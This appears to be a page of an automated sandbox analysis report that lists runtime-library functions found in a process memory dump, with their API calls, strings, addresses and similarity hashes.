Opcode Fuzzy Hash: 0ad3f7242adc77171fa2c3354329154454959fcab71533e3599a90e7dc3b62df
Instruction Fuzzy Hash: 8DD16236A28781C6EB50EB65D8402ADB7A4FF4578CF840135EE8D57756CF78E150CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D41FC, Relevance: 10.8, APIs: 7, Instructions: 291COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D4632

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a72655217cf3ecb92df7e52be9117dae27c383bc9466b8c480e74d0a462121ca
Instruction ID: 61647bb92f532b9d7e9c0a553786f556da7fb957e9a399cc73f043b42923a30f
Opcode Fuzzy Hash: a72655217cf3ecb92df7e52be9117dae27c383bc9466b8c480e74d0a462121ca
Instruction Fuzzy Hash: 70C1C422A2C6C692E7617F55984827EEB91FF80B88FC54131DA4E07B95CFBCE495C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B2020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B2089
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7019B20D4
_Getctype.LIBCPMT ref: 00007FF7019B20EC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B21A4
_Getwctype.LIBCPMT ref: 00007FF7019B21F1

Strings

bad locale name, xrefs: 00007FF7019B21C7

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$GetctypeGetwctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1386471777-1405518554
Opcode ID: 901312fe49ec335b73383531d66f1a1410a0777c902f06001bd849fedde32a84
Instruction ID: 6dc5b905c95a306d3de6f6305eaf276c33c7ae4fc4ecdf30222ec5e1c3e2f976
Opcode Fuzzy Hash: 901312fe49ec335b73383531d66f1a1410a0777c902f06001bd849fedde32a84
Instruction Fuzzy Hash: C8517A22B29B818AFB04EBB0D9802AC73B4EF54748F844135DF4D27A56DF78A566D320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C3568, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7019C3816,?,?,?,00007FF7019C3514,?,?,?,?,00007FF7019C01C5), ref: 00007FF7019C35EB
GetLastError.KERNEL32(?,?,?,00007FF7019C3816,?,?,?,00007FF7019C3514,?,?,?,?,00007FF7019C01C5), ref: 00007FF7019C35F9
LoadLibraryExW.KERNEL32(?,?,?,00007FF7019C3816,?,?,?,00007FF7019C3514,?,?,?,?,00007FF7019C01C5), ref: 00007FF7019C3623
FreeLibrary.KERNEL32(?,?,?,00007FF7019C3816,?,?,?,00007FF7019C3514,?,?,?,?,00007FF7019C01C5), ref: 00007FF7019C3669
GetProcAddress.KERNEL32(?,?,?,00007FF7019C3816,?,?,?,00007FF7019C3514,?,?,?,?,00007FF7019C01C5), ref: 00007FF7019C3675

Strings

api-ms-, xrefs: 00007FF7019C360B

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: e28092d2a8754abe07b1813ff99e43b1423cfe1f6ef30b3aecc7f243d8151441
Instruction ID: de339757456a933dc850b82254f774198bf3edb438161f2b6917b51b62db76c1
Opcode Fuzzy Hash: e28092d2a8754abe07b1813ff99e43b1423cfe1f6ef30b3aecc7f243d8151441
Instruction Fuzzy Hash: 6031E621B2AAC291EF11FB02AD05675A394BF48BA8FD98534DD5D0B391EFBCE141C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019DD2B4, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7019DD2E5
GetLastError.KERNEL32 ref: 00007FF7019DD2F1
CloseHandle.KERNEL32 ref: 00007FF7019DD309
CreateFileW.KERNEL32 ref: 00007FF7019DD334
WriteConsoleW.KERNEL32 ref: 00007FF7019DD353

Strings

CONOUT$, xrefs: 00007FF7019DD315

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3e7576745228368b001dc45455e94fee6e3588f672ca8818725641a55fdbca99
Instruction ID: b686bbecbaac73c7ffccde40ed467c1301e4e69285937112009587a2ee9c338c
Opcode Fuzzy Hash: 3e7576745228368b001dc45455e94fee6e3588f672ca8818725641a55fdbca99
Instruction Fuzzy Hash: 18119621B28A8182E750AB52EC49329F3E0FF48FE8F444234DA5E47B94DFBCD5158750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BD438, Relevance: 9.2, APIs: 6, Instructions: 207COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7019BD4AE
MultiByteToWideChar.KERNEL32 ref: 00007FF7019BD558
LCMapStringEx.KERNEL32 ref: 00007FF7019BD593
LCMapStringEx.KERNEL32 ref: 00007FF7019BD5EF
LCMapStringEx.KERNEL32 ref: 00007FF7019BD69F
WideCharToMultiByte.KERNEL32 ref: 00007FF7019BD6E1

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 13b951786706347ed30c3256fc5abe21f286629fc1ae3e690c436aa204d97c7e
Instruction ID: 14f6eaafbea5176733dceaa6cabf8e24bc8d18176e73ae6d92f0c4bfd7cbfb5d
Opcode Fuzzy Hash: 13b951786706347ed30c3256fc5abe21f286629fc1ae3e690c436aa204d97c7e
Instruction Fuzzy Hash: 43816232628BC186EB20EF519984379A6E1FF44BACF944235EA5D57BC8DFBCE4058710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B2EF0, Relevance: 9.2, APIs: 6, Instructions: 203COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B2FB9
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B2FE1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B300E
std::_Facet_Register.LIBCPMT ref: 00007FF7019B3099
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B30B6

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 7b156b3fef83c02c43ea01abf10932abe987a5502ca0c24b17b6cf8582936866
Instruction ID: e43ec9cf40f09d7182de3f95d77737dd53f93fde7e14ddf9288ff69251b8b7cb
Opcode Fuzzy Hash: 7b156b3fef83c02c43ea01abf10932abe987a5502ca0c24b17b6cf8582936866
Instruction Fuzzy Hash: 0E916E26629AC192EB24EF15EA80379B7A1FF85B88F944136DE4E037A5CF7CE445C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B2C10, Relevance: 9.2, APIs: 6, Instructions: 193COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B2CD9
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B2D01
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B2D2E
std::_Facet_Register.LIBCPMT ref: 00007FF7019B2DB9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B2DD6

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 0c36f5b904ff30f730729e610fd2b9db094d15b04bf3cfd018bd2d334eecd3c9
Instruction ID: 05d230e76b0815c941b84a6b8705c8b6bd770c91593cdf882d578d521ef40167
Opcode Fuzzy Hash: 0c36f5b904ff30f730729e610fd2b9db094d15b04bf3cfd018bd2d334eecd3c9
Instruction Fuzzy Hash: 7C815222A29AC581EB64EF15D980379B7A1FF85B88F844136DE4E43BA9CF7CE445C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B7250, Relevance: 9.1, APIs: 6, Instructions: 91COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B7278
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B729D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B72C7
std::_Facet_Register.LIBCPMT ref: 00007FF7019B7340
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B735A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B737F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0d577c8873cb02b74a5d2540b211a9bb51c5b4332edea7e52b433389fe9cbf8c
Instruction ID: a3974e2baa861bc49f24f7ca9ca5ebf469f894e4a2dc089f52ac75aa521263b9
Opcode Fuzzy Hash: 0d577c8873cb02b74a5d2540b211a9bb51c5b4332edea7e52b433389fe9cbf8c
Instruction Fuzzy Hash: 12317322A29AC181EB14EB15ED8017AF3A1FF84B9CF880635DA5D077A5DFBCE441C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B81E0, Relevance: 9.1, APIs: 6, Instructions: 91COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B8208
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B822D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B8257
std::_Facet_Register.LIBCPMT ref: 00007FF7019B82D0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B82EA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B830F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: e6b696b838180aeeb5d8db99cb0af4799342763c727a0bae7f89fe0791471731
Instruction ID: 5bd890e0cc2d9a692e7951b83d65c42248335c126d89402c9ad17a625a63265e
Opcode Fuzzy Hash: e6b696b838180aeeb5d8db99cb0af4799342763c727a0bae7f89fe0791471731
Instruction Fuzzy Hash: 62314222A28AC591EB54EB15ED80179F3A5FF88BDCB884235DA5E077A5DFBCE401C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B7C50, Relevance: 9.1, APIs: 6, Instructions: 91COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B7C78
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B7C9D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B7CC7
std::_Facet_Register.LIBCPMT ref: 00007FF7019B7D40
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B7D5A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B7D7F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 67b6caa33580ea919a601df496601060b12e44cfd7252ea35e28455147dcd832
Instruction ID: b061f55f81f1560f19330b2b5c5093380973fe191bf431b1b12c6eaa20cad2d8
Opcode Fuzzy Hash: 67b6caa33580ea919a601df496601060b12e44cfd7252ea35e28455147dcd832
Instruction Fuzzy Hash: 86314122A28AC191EB14EF15ED80179B3A1FF94B98F894635DA5E037A9DFACE441C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B7D90, Relevance: 9.1, APIs: 6, Instructions: 91COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B7DB8
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B7DDD
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B7E07
std::_Facet_Register.LIBCPMT ref: 00007FF7019B7E80
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B7E9A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B7EBF

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 95c4d019e337df2d27c4ae43ed6a612003bc9bb314e5d3e30eeae33b3e725eca
Instruction ID: a77bf56062755da266cbf165343403e6c200b0b67ed2d84db27d07ef77fe68f2
Opcode Fuzzy Hash: 95c4d019e337df2d27c4ae43ed6a612003bc9bb314e5d3e30eeae33b3e725eca
Instruction Fuzzy Hash: D3315F22A29A8191EB15EB15ED80179F7A1FF84B9CF884235DA5E037A5DFBCF4418320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BA0C4, Relevance: 9.1, APIs: 6, Instructions: 78COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019BA0D6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019BA0FB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019BA125
std::_Facet_Register.LIBCPMT ref: 00007FF7019BA19E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019BA1BF
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019BA1CF

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: bedeafbaec8adbaae1230ad5c0c7c0810852a28c19c79fa022dfbe0f8d58771f
Instruction ID: e810227fb0d0de1ceb09228752f0568005a6f4908dc5928967f16bc0a3093851
Opcode Fuzzy Hash: bedeafbaec8adbaae1230ad5c0c7c0810852a28c19c79fa022dfbe0f8d58771f
Instruction Fuzzy Hash: 6B317E25A28AC291EF55FB15ED80079E3A1FF80B9CF884136DA5D437A5DFACE4458320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BB8FC, Relevance: 9.1, APIs: 6, Instructions: 78COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019BB90E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019BB933
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019BB95D
std::_Facet_Register.LIBCPMT ref: 00007FF7019BB9D6
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019BB9F7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019BBA07

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 014dc6ca548d231dec55e1923c3463b5928a751829b2780844626360de8ace3c
Instruction ID: ea98312621acbc5cb2e2eb2b6f6c423e4a7c9de8bd86a7b6f9ca717f482a0032
Opcode Fuzzy Hash: 014dc6ca548d231dec55e1923c3463b5928a751829b2780844626360de8ace3c
Instruction Fuzzy Hash: BF315025A29AC281EF15EB15ED80179F3A1EF84BACF984135DB5E037E5DFACE4418320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C11E4, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 325COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7019C1388
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7019C16C0

Strings

csm, xrefs: 00007FF7019C12CF
csm, xrefs: 00007FF7019C1331
csm, xrefs: 00007FF7019C13B2

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 3ee202d90f6e6b7d6969c11b24808fbe1150c69e6f4b15407eb8d01be72417f8
Instruction ID: eea68b64268aec199d93da968be1a5794d36964fda2fc9a69fb0e863c50c8fc2
Opcode Fuzzy Hash: 3ee202d90f6e6b7d6969c11b24808fbe1150c69e6f4b15407eb8d01be72417f8
Instruction Fuzzy Hash: 18E1BF729287C2CAE760AF64D8802ADB7A5FF4574CF944135EA8D47696CF78E181CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BFFA8, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7019BFFD3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7019C006F
RtlUnwindEx.KERNEL32 ref: 00007FF7019C00BE

Strings

csm, xrefs: 00007FF7019C0055
f, xrefs: 00007FF7019BFFE6

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 86a18549056dc6d76ac0abd78566524add973de1d0ba78654c8cdaa9775781b7
Instruction ID: 4c593750d3d6d6172def8cf91a9d6818f7e11ff465eb777dc12d74412e70ff7d
Opcode Fuzzy Hash: 86a18549056dc6d76ac0abd78566524add973de1d0ba78654c8cdaa9775781b7
Instruction Fuzzy Hash: 5E51B039A29691C7E714EA15E804A29F791FF44BDCF958130EE8E47744DFB8E940CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B1D10, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B1D79
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7019B1DC4
_Getctype.LIBCPMT ref: 00007FF7019B1DDC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B1E6C

Strings

bad locale name, xrefs: 00007FF7019B1E8F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 6a852068e18d71b0ce0acc72113bbfdafe7c2dbe35f4abdb51c183167ab0e0f7
Instruction ID: a832651e81f1fdf44864f230760680e601f747bc7a49ff2547dc864dd02f95a6
Opcode Fuzzy Hash: 6a852068e18d71b0ce0acc72113bbfdafe7c2dbe35f4abdb51c183167ab0e0f7
Instruction Fuzzy Hash: A2414E22B2AB8189FB14EBB0E9902FC73B4AF4474CF844035DE4E26A55DF78E516D364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CBA34, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7019CBA50
GetProcAddress.KERNEL32 ref: 00007FF7019CBA66
FreeLibrary.KERNEL32 ref: 00007FF7019CBA83

Strings

mscoree.dll, xrefs: 00007FF7019CBA47
CorExitProcess, xrefs: 00007FF7019CBA5F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: dd41b59062e1bded5e4a64ebb4ded833bad7bfefc86d4ef402e3721322b693a7
Instruction ID: e36eb917a7fd0bdba2d1501fcf5bae5194b2822697dc4d8f6565d232db3f7fde
Opcode Fuzzy Hash: dd41b59062e1bded5e4a64ebb4ded833bad7bfefc86d4ef402e3721322b693a7
Instruction Fuzzy Hash: 2CF0BE21B3C68282FF046FA1EC89374A3A0AF44789FC4503AD68F42560CFACD089C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C05DC, Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF7019C06FF
__AdjustPointer.LIBCMT ref: 00007FF7019C074A

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 61344d6823eee478dc0851b8babc93acb3fc4ce47a6e2b4299efaae8650d3a38
Instruction ID: 638946d10df6d38926b0d183d28a26bf17e38bd9828e3659c97d6714d05b916b
Opcode Fuzzy Hash: 61344d6823eee478dc0851b8babc93acb3fc4ce47a6e2b4299efaae8650d3a38
Instruction Fuzzy Hash: 95B1C229A2A6C2C1EB65FE159D40239E390AF44B8CF9D8535EACD07785DFACE441CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B1580, Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF7019B175C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7019B17DA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B17E0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7019B17E6
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF7019B180D

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_exception_copy__std_exception_destroy
String ID:
API String ID: 1087005451-0
Opcode ID: 230dbc250809a90322377d94343768eb68c9b033416a55001241a1c5e3e2d059
